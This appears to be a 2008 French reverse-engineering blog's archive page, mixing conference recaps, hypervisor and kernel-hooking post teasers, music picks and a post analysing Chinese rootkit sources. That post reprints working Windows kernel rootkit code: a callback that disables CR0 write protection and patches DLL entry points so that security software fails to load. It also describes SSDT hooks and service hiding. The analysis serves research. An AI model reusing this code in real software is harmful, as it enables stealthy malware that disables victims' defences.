Je viens de retrouver les pass de mon blog, je les avais laissés trainer sous forme alphabétique dans un .txt crypté avec un double rot13 sur une dedib0x … Je vais pouvoir enfin vous parler d’un projet que j’ai commencé récemment. Je mattais la doc de PAX quand je suis tombé sur la protection d’exécution utilisant la segmentation. L’idée consiste à utiliser une feature CPU datant des débuts de l’i386, la segmention, pour séparer le code des datas dans des zones possédants des droits différents, une zone en lecture+exécution et l’autre en lecture+écriture. Ok l’idée est cool, c’est mignon, ca brille et dans le noir on peut le voir mais pour l’instant c’est sous l’OS des barbus et ce n’est pas vraiment mon kiff de faire mumuse avec. Je me suis donc lancé dans l’implémentation d’un équivalent pour Windows et pour être franc, j’en ai chié :]
(more…)
Post Category: RE
juillet 2nd, 2008 at 06:42 admin
J’ai passé une super soirée à la Nuit du hack , l’ambiance était super fun, alcool à gogo (pas de chixs
!), j’ai pu voir pas mal de gens qui trainent dans les bas fonds de l’IRC, ça m’a fait rire d’entendre de leur part “Je ne te t’imaginais pas comme ça dutout”, faudrait que j’arrête de balancer des liens trash, à force les gens ont une drôle de vision de moi. Les conf m’ont bien fait délirer on a pu voir la méthode “à l’arrache” en pleine action, c’est très marrant de voir un gars reverser en live une VM arm qui emule le firmware de la nintendo DS pour y attacher un gdb et bp sur la routine qui émulait une instruction. Après il y avait des confs sur scapy, le hack de la carte WIFI de la DS qui permet de faire de l’injection de paquet et de crée des fake AP (w00t!) puis de lockpicking.
Concernant ma conf sur l’exploitation noyau sous Windows, vous pouvez retrouver mes slides ici. C’est juste une simple introduction rapide à la chose, n’espérez pas y retrouver des 0days (de toute façon je les garde pour les revendre, j’ai besoin de tunes et ça coute cher les chocapicz). Concernant les exploits vous pouvez les retrouver sur le site de Ruben, le ms08-25 là et l’exploit sur le driver secdrv.sys là. J’espère que vous aimerez.
Par la suite, le challenge se déroulait par équipe de 5 et se déroulait comme un vrai pentest, on avait un site avec des vulns à retrouver qui permettaient d’atteindre tout un lan derrière. J’étais avec les gars de Ghostsinthestack, Heurs et Trance, Celelibi, Joe et tryks qui n’avait pas de laptop (bouh!). Tous on fait un super taff, on a bien démonté le site en y mettant des photos trash (on se demande qui a eu l’idée de le faire …) c’était vraiment intéressant de faire ça en équipe, nous ne sommes pas allé très loin après le server web dommage parait qu’il y avait de l’applicatif après, le hack web étant carrément chiant faut le dire :). On final on s’en est bien sortit sans même participer au challenge bluetooth ! Merci à tous les gars de l’équipe c’était génial.
Je voudrais aussi remercier toutes les personnes du taff HZV qui on géré une bonne soirée, la connect était pas trop mal, il y avait de la place à boire et à manger, par contre l’idée du DJ c’est très bien mais c’est relou quand c’est super fort et que ça empêche de communiquer, la preuve on était tous sur un IRC lors du challenge … A noter pour la prochaine NDH, ne jamais laisser le micro à Free_Man quand il est bourré !
Bref, continuer comme ça les gars ! C’est super d’avoir des soirée aussi fun en france ! Je serais certainement à la prochaine
Post Category: C:
juin 15th, 2008 at 02:55 admin
Retour du SSTIC un peu déchiré et fatigué, c’était bien sympa comme événement, le fait qu’il n’y est pas trop monde participe au charme (~ 400 personnes) et permet de garder une ambiance conviviale. J’ai pu mettre des visages sur certains pseudos et dealer des 0days contre des shooters vodka-tagada. Je ne vais pas faire de compte rendu des confs, pas envie et puis celui qui se trouve sur le site Sid (et dans les comments) est largement suffisant, je dirais juste que la conf Voyage au coeur de la mémoire m’a beaucoup impressionné dommage que rien ne sera release … foutu hippies capitalistes !
Pour se détendre après tout ça, je vous propose une sélection musicale, cette fois ci au lieu d’avoir mal aux yeux en lisant des dumps ASM, vos oreilles vont pouvoir déguster du bon son ! (question de gout hein ! Si vous n’aimez pas aller regarder la Nouvelle Star). De toute façon je ne suis pas d’humeur en ce moment.
On commence par Sed Non Satiata du bon screamo français avec le morceau Spirit Fuel de l’album “Le ciel de notre enfance” qui possède de superbes mélodies et une instrumentale géniale sur la fin. Je suis fan !
Loading...
Etre sans arrêt obligé de ne pas tout prendre pour argent comptant
En permanente quête de la remise en question
Quitte à se sentir seul et abandonné
Quitte à se sentir faible et souillé
La seule source de nos esprits
(est) la culture du refus
Quitte à se sentir, par les autres écrasé
Quitte à se sentir noyé dans des pensées confuses
D’évidentes incohérences apparaissent
Mais elles disparaitront d’elles même
On continue toujours avec du screamo/post-hardcore français, cette fois ci avec du son plus brut, Souffrir de l’abum “Un jour sans lendemain” de Mihai Edrisch, les paroles sont touchantes, la voie du chanteur nous envahie, dommage qu’ils aient splité, c’était vraiment un très bon groupe.
Loading...
Qui aurait pu prédire que je finirais là, étalé, avec pour seule soif l’envie de mourir, à essayer de m’entendre, et de comprendre pourquoi je respire encore?
Qui aurait pu m’aider à fuir l’utopie d’une vie passionnée? J’aurais dû continuer à penser que la vie n’est pas belle, que l’on n’est que naissance. Plutôt que de me laisser tromper, plutôt que de goûter au revers de l’espérance.
Je t’en veux de ne pas vouloir me quitter, j’aimerais que tu me laisses seul, là, étalé, avec pour seule soif l’envie de suffoquer, à essayer d’oublier et de comprendre pourquoi je souffre encore tant. Je t’en prie, laisse moi dormir s’il te plait, je t’en supplie, laisse moi dormir en paix. Je t’en prie, laisse moi mourir s’il te plait, je t’en supplie, laisse moi mourir en paix.
On termine avec du black métal/new wave avec Bonheur Amputé de l’album “Ruines Humaines” de Amesoeurs. C’est envoutant, des riffs et la voie de Audrey qui fait froid dans le dos, on entre tout de suite dans l’ambiance et c’est bien !
Loading...
Les gestes sont des regrets
Qu’un temps mort accentue;
L’énergie se perd, les envies se trainent,
Chaque phase de malaise altère la raison.
Humeurs instables inavouées,
Faiblesse des sens et frustration
Etouffant la conscience.
Je m’écoeure.
Salissure intérieure;
Les corps sont des réfuges aux caresses
Rendus inodores dès qu’ils gerbent leur semence.
Un vide permanent endormira les restes.
Sinon je devrais faire un petit tour à la Nuit du hack et normalenent y faire une conf, faut-il encore que je fasse mes slides !
Pour finir quelques lectures intéressantes : Ruining the Rustock.C rumors and myths and Kaspersky Lab role et Remote Procedure Call debugging
Post Category: C:
juin 8th, 2008 at 03:34 admin
Ayant remarqué que beaucoup de gens autour de moi (sisi ils y en a qui osent s’approcher) ont un blog avec des bonnes idées mais qui n’était que peu lu ou commenté et qui ne peuvent pas l’alimenter autant qu’ils le voudraient. De l’autre coté ceux qui ont des bonne idées et qui aimeraient publier des choses mais sans se prendre la tête avec un blog ou bien de prendre le temps de s’inscrire à un forum.
De cette constatation est donc née avec l’aide de quelques potes la création d’un microblog communautaire, le concept est de permettre aux gens de poster sur ce qui les intéressent tout en gardant les thèmes du blog, extrait (ça m’évite les répétitions) :
“Ce microblog donc offre la possibilité à ceux qui le veulent de poster leurs découvertes, le but n’étant pas d’avoir des posts complets, détaillés et aboutit, loin de là mais juste de faire ressortir les bonnes idées, les nouvelles tendances de montrer ce que lisent et utilisent les gens. Une certaine forme de brainstorming à la net 2.0 si vous préférez, il faut vivre avec son temps et c’est pour cela que l’échange doit évoluer, être plus simple, plus rapide, plus ouvert, bref plus libre !”
Attention les auteurs de ce blog ne peuvent garantir une santé mentale cohérente, certains du à une trop forte exposition à l’IRC ne savent plus trop ce qu’ils disent et préfèrent vivre avec une ubuntu en se passant en boucle Takedown. C’est vrai, IRC est dangereux pour la santé mais c’est ce genre de personnes qu’il nous faut.
Pour l’instant je ne peux me prononcer si ce projet va marcher ou non on essaye de reprendre le principe de Gnucitizen et de l’appliquer aux francophones sans avoir la même ambition bien sur ! On reste comme Fonzy, on est cooool. Notez qu’il nous reste certains réglages à faire pour que tout soit nickel, cela sera vite réglé. En tout cas Si vous voulez vous inscrire il y a toutes les infos là.
Sinon, arrive bientôt le grand pélerinage annuel du SSTIC J’y serais évidement, si vous voulez me rencontrez et discuter devant une bière c’est le moment. Vous pouvez toujours essayer de me faire boire pour que je parle, a vos risques et périls je suis très fort à ce jeu aussi. De toute façon vous pourrez avoir beaucoup plus si vous me donner de l’argent !
Post Category: C:
juin 3rd, 2008 at 11:55 admin
Troisième et dernière partie de notre périple à travers les hyperviseurs, la dernière fois j’ai montré comment créer la structure de contrôle de notre VM Monitor, la VMCS. Cette fois, on va en enfin finaliser notre petit joujou, il ne reste plus qu’à définir le handler des VM Exits, la routine qui lancera l’hyperviseur et celle qui le lancera. Ce n’est pas le plus difficile, cependant il faut être prudent car un bug dans la routine qui gère les VM Exits peut avoir des répercussions beaucoup plus loin dans le Guest et je peux vous dire que pour debugger ça, c’est la gastro totale :=) (même que le pouvoir de constipation des chocapicz n’est pas assez puissant pour le contrer …) Donc on reste attentif et on lache rien.
(more…)
Post Category: RE
mai 26th, 2008 at 05:51 admin
Suite de notre voyage dans le monde des hyperviseurs, dans la 1ère partie j’ai montré comment initialiser le support VMX sur le CPU, cette fois-ci, on passe aux choses sérieuses avec la création de la VMCS (Virtual Machine Control data Structure), cette zone mémoire va contenir toutes les infos pour contrôler le comportement du Guest en mode non-root. Lors de certains événements clés, le jeu d’instructions VMX va utiliser la VMCS pour sortir du Guest et restaurer le contexte de l’Host. Une fois que l’hyperviseur rend la main, la VMCS permet de rétablir le contexte du Guest sur le CPU. Dans notre cas, du fait que nous virtualisons notre OS à la volée la création de la VMCS est moins compliquée, elle n’en est pas moins fastidieuse …
(more…)
Post Category: RE
mai 11th, 2008 at 07:56 admin
J’ai décidé de me réveiller après avoir passé une soirée à me faire défoncer par Jean-Marie à propos d’un exploit quelque peu … défaillant. Je me rachète en commençant une série de post sur la virtualisation, sujet à la mode en ce moment. Je vous propose de découvrir comment coder votre propre petit hyperviseur, le but étant de comprendre comment fonctionne le support hardware au niveau de la virtualisation, de voir ses capacités et de les utiliser à plus ou moins bon escient. Je vais juste vous montrer comment réaliser un BluePill like sous architecture Intel en utilisant la feature VT sous 32 bits. Abyss has virtualized you !
(more…)
Post Category: RE
avril 29th, 2008 at 10:33 admin
Le dernier Phrack vient de sortir et c’est un petit rêve pour moi qui se réalise, car oui ! Je suis dedans ! J’ai coécrit un article avec le grand mxatone. J’espère que notre travaille vous plaira et cela vous donnera un paquet d’idées pour la suite. En tout cas, personnellement, je suis assez content du paper que nous avons release, on a essayé d’innover le plus possible en plongeant au fond du système en étudiant des mécanismes peu documentés voir pas du tout en ayant pour objectif de proposer une vision nouvelle dans un discipline qui, il faut le dire, commence un peu à tourner en rond, la furtivité des rootkits en se basant sur les composants systèmes déjà disponibles et ne venez pas me parler des rootkit HVM comme BlueBill qui virtualise l’OS, ils profitent d’une feature hardware pour s’installer entre le matériel et le système pour pouvoir le contrôler.
Notre article “Stealth Hooking: another way to subvert the Windows kernel” décrit des techniques de hook extrêmement furtives dans le noyau se basant sur des éléments volatiles, donc difficilement détectable par des Anti-rootkit et autres HIPS. La première partie est basé sur la gestion des interruptions hardware par Windows, depuis l’IDT jusqu’aux DPC chargés de gérés l’I/O entre le périphérique et la mémoire. La deuxième partie décrit le fonctionnement de la kernel NonPaged pool, comprenez la gestion par l’OS de la mémoire qui ne peu être swappée, puis montre comment, en corrompant les structures de gestion de cette mémoire, contrôler différents mécanismes clés de l’OS. Pour résumer d’un coté l’article décrit un moyen de contrôle des I/O sur l’OS, de l’autre une méthode permettant de hooker des fonctions clés comme l’allocation des IRP ou bien de gérer des trigger permettant à un rk d’effectuer des opérations à un moment précis.
J’ajouterais aussi que écrire en anglais est loin d’être simple, nous remercions tout ceux qui nous ont relu et nous on aidé à rendre notre paper plus propre et plus clair :]
Nous vous souhaitons, mxatone et moi, une bonne lecture et un bon Phrack !
Post Category: C:
avril 12th, 2008 at 10:46 admin
Hummmm je surfais tranquillement sur le net en train de chercher de la doc sur des trucs perdu de Windows quand je suis tombé sur un blog chinois, mais pas n’importe quel blog ! Un putain de blog de ouf sous amphétamines qui prend de la cocaïne. http://hi.baidu.com/sudami/ est tout simplement monstrueux, même si je capte rien au chinois, rien que voir les codes et les schémas qui sont de dessus, ca me fait tourner la tête.
Nvmini, contient le code d’un rootkit kernel-land pas mal foutu, d’après ce que j’ai vu qu’il effectuait les opérations suivantes :
- Installation de hook dans la SSDT sur les API ZwSaveKey, ZwQueryDirectoryFile, ZwClose, ZwEnumerateKey, ZwLoadDriver, ZwDeleteValueKey et ZwDeleteKey.
- Le rk installe une callback sur le chargement de module avec l’API PsSetLoadImageNotifyRoutine. La routine de callback est la suivante :
VOID
MyLoadImageRoutine(
IN PUNICODE_STRING ImageName,
IN HANDLE ProcessId,
IN PIMAGE_INFO ImageInfo
)
{
BOOL bFind;
ULONG Length;
WCHAR Name[300];
PEPROCESS proc;
PVOID pImageBase;
SIZE_T dwSize;
PVOID pOEP;
KIRQL oldIrql;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nth;
PIMAGE_OPTIONAL_HEADER poh;
PHYSICAL_ADDRESS physicalAddress;
if (ImageName == NULL) {
return;
}
Length = ImageName->Length;
if ((Length == 0) || (ImageName->Buffer == NULL)) {
return;
}
bFind = FALSE;
RtlCopyMemory(Name , ImageName->Buffer, ImageName->MaximumLength );
_wcsupr(Name);
if ( ( (wcsstr( Name, L”DLLWM.DLL” ) != NULL) && (wcsstr( Name, L”SYSTEM32″ ) != NULL) ) ||
( (wcsstr( Name, L”WININFO.RXK” ) != NULL) && (wcsstr( Name, L”COMMON FILES” ) != NULL) ) ||
( (wcsstr( Name, L”RICHDLL.DLL” ) != NULL) && (wcsstr( Name, L”WINDOWS” ) != NULL) ) ||
( (wcsstr( Name, L”RICHDLL.DLL” ) != NULL) && (wcsstr( Name, L”WINNT” ) != NULL) ) ||
(wcsstr( Name, L”WINDHCP.DLL” ) != NULL) ||
(wcsstr( Name, L”DLLHOSTS.DLL” ) != NULL) ||
(wcsstr( Name, L”NOTEPAD.DLL” ) != NULL) ||
(wcsstr( Name, L”RPCS.DLL” ) != NULL) ||
(wcsstr( Name, L”RDSHOST.DLL” ) != NULL) ||
(wcsstr( Name, L”LGSYM.DLL” ) != NULL) ||
(wcsstr( Name, L”RUND11.DLL” ) != NULL) ||
(wcsstr( Name, L”MDDDSCCRT.DLL” ) != NULL) ||
(wcsstr( Name, L”WSVBS.DLL” ) != NULL) ||
(wcsstr( Name, L”CMDBCS.DLL” ) != NULL) ||
(wcsstr( Name, L”UPXDHND.DLL” ) != NULL) ||
(wcsstr( Name, L”RDFHOST.DLL” ) != NULL) ||
(wcsstr( Name, L”safe” ) != NULL) ||
(wcsstr( Name, L”anti” ) != NULL) ) {
bFind = TRUE;
}
if ( bFind == FALSE ) {
return;
}
if( !NT_SUCCESS(PsLookupProcessByProcessId( ProcessId, &proc )) ) {
return;
}
KeAttachProcess (proc);
pImageBase = ImageInfo->ImageBase;
dwSize = ImageInfo->ImageSize;
try {
ProbeForRead( pImageBase, dwSize, sizeof(UCHAR));
} except(EXCEPTION_EXECUTE_HANDLER) {
return;
}
dos = (PIMAGE_DOS_HEADER) pImageBase;
nth = (PIMAGE_NT_HEADERS) (dos->e_lfanew + (char *)pImageBase);
poh = (PIMAGE_OPTIONAL_HEADER) &nth->OptionalHeader;
if( (dos->e_magic != 0×5a4d) || (nth->Signature != 0×00004550) ) {// “MZ” “PE\0\0″
return;
}
pOEP = (PVOID)( poh->AddressOfEntryPoint + (char *)pImageBase );
physicalAddress = MmGetPhysicalAddress( pOEP );
ProbeForWrite ( pOEP, 5, sizeof(CHAR));
WPOFF(); // write protection disabled, 16eme bit du cr0 à 0, permet d’écrire en ring0 dans des pages RO
oldIrql = KeRaiseIrqlToDpcLevel();
RtlCopyMemory ( (BYTE*)pOEP, g_Code, 5 );
KeLowerIrql(oldIrql);
WPON();
KeDetachProcess();
}
Cette routine va être appelée au moment du chargement de chaque DLL. Comme vous pouvez le voir, la routine va vérifier si le nom de la DLL chargée apparaît dans une liste prédéfinie, si oui, alors le thread courant s’attache au contexte du process qui charge la DLL avec KeAttachProcess, retrouve l’EntryPoint de DLL en parcourant son PE Header puis le modifie par le code contenu dans la var g_Code qui est :
BYTE g_Code[5] = { 0×33, 0xC0, 0×0C, 0×00, 0×00 };
Ce qui correspond en asm à :
33C0 XOR EAX, EAX
0C 00 OR AL, 0
La doc nous dit que si le DllMain d’une fonction renvoie 0, alors la DLL n’est pas chargée dans le process. D’ailleurs je me demande ou est le RET du code copié sur l’EP, pas très pratique si la DllMain ne retourne pas … En tout cas c’est joli trick pour éviter que certaines DLL ne soient loadées.
- On retrouve aussi dans le fichier HideService.c le code posté sur rootkit.com par i.m.weasel permettant de planqué un service. Ce code va, depuis le noyau, patché le process services.exe qui tient à jour une liste de structures SERVICE_RECORD contenant des infos sur les services en cours.
- Je vous laisse découvrir le reste, mais il y a des fonctions inachevées. Ca reste quand même un code sympa à étudier.
Par contre un post qui m’a fait pleurer, AK922, contient le code de plusieurs version du rootkit AK922, celui même que j’avais reversé … Le lien sur la page renvoie sur un fichier .sys mais il s’agit bien d’une archive .rar qui contient les sources. Si vous les voulez, je les ai uppé sur mon repo en virant les bouts de chinois des noms de fichiers.
La source du binaire que j’avais reversé n’est pas présente dans l’archive, cependant celle qui s’en rapproche le plus se trouve dans le ak922_sys_c.zip et franchement en la voyant je suis assez content de ce que j’ai réussi à comprendre dessus, parce que ca fait vraiment de la peur. Pour rappel, AK922 est un rootkit assez original qui va installer un hook sur la routine IoCompleteRequest. Cette routine est très importante pour l’I/O Manager, c’est elle qui va compléter les IRP en les renvoyant à l’appelant. En contrôlant cette routine le rootkit peut donc voir le retour de la requête fait par exemple par un syscall comme NtQueryDirectoryFile et modifier son contenu. Par contre le code qui gère ca vient d’ailleurs, c’est affolant, regardez le code de la fonction DispatchIofCompleteRequest et vous verrez. Remarquez que cette fonction est la version améliorée de AkHideFile qui se trouve dans le Mian.rar, c’est celle-ci que j’ai reversé. Enfin, bref, ca me fout un peu les boules …
Je vous laisse surfer sur le blog de Sudami, c’est vraiment génial, ce gars est un super coder/reverser. Dommage que ca doit en chinois. Ce que je retiens, c’est qu’en voyant ce genre de blogs, je me dis que les chinois sont vraiment des brutes épaisses et qu’au final ils ont vraiment les moyens de faire très mal. C’est vrai, ils ont certains avantages certes, mais à les voir, on à l’impression qu’ils restent dans leur monde, entre eux, à partager les découvertes et travaux dans leur langue ! Ils ont rippé ce qu’ils ont pu trouver dans les docs/ebooks/sites/blogs de par le net et ont mit ca à leur sauce puis ils ont cherché par eux mêmes. Au final, ca paye bien, ils savent faire des rootkits :] Et pendant ce temps là, nous, on les regarde …
Au passage, les blogs de ses potes, lynux et micropoint, ont l’air bien puissants aussi …
Post Category: C:
mars 26th, 2008 at 03:30 admin
Ca y est j’ai craqué dans ma tête de maladouf, après Nono, Newsoft, Jme et Sid, je me suis décidé à vous raconter 6 choses complètement useless sur moi. Attention, si vous êtes québécois, ne lisez pas ce post …
- J’aime les chocapicz, si mon petit dej’ n’est pas constitué à 95% de chocapicz, je meurs ….De plus, j’aime me lever tard, le plus tard possible même, entre 11h et 13h c’est parfait. Je préfère travailler la nuit lorsque les gens normaux sont parti dormir, IRC est plus calme à ce moment là. Sauf les chans ou trainent des québécois, ils ont réveillés à 3h du mat eux et me highlight pour rien. Faudrait les bannir eux je pense.
- Je n’aime pas les québécois, ils parlent une langue de tapz, ça fait 3 ans que j’essaye de l’apprendre … D’ailleurs c’est à cause d’eux que je fais autant de fautes quand j’écris !
- Me faire faire de la programmation Web quelqu’elle soit après minuit me transforme en gremlin Mogwaï-like capable d’installer un serveur SQL sur une plan9 dans une VM sous CentOS avec un PAX, comprenez que je déteste cela. Mes langages de prédilection sont le C et le python, pour conquérir le monde c’est largement suffisant:)
- Je suis un fan des RSS, je les collectionne, je trouve que c’est le moyen le plus pratique pour suivre l’info sur le net et être au courant le plus rapidement possible. Mes RSS sont constitué de sites de news, aussi bien que de blogs, de forums, de mailing-lists et de newgroups. Je pense que tout est bon à prendre, quelque soit la provenance et la qualité de l’info, je n’hésite pas à m’abonner à des RSS russes ou chinois, le code n’a pas le langue favorite ! (les commentaires si …)
- Je bosse tout le temps avec de la zik, en ce moment j’ai une période metal/screamo/hardcore, j’écoute des groupes comme In Fear And Faith, The Bright Star Alliance, Saosin, Sugartown Cabaret et Tanen. Travailler avec de la zik m’aide à m’enfermer dans mon monde et à rester concentrer (ou pas).
- J’ai fait une pyramide à 5 étages avec mes rouleaux de PQ usagés …
Sur ce, je retourne rien faire.
Post Category: C:
mars 15th, 2008 at 12:58 admin
Previous Posts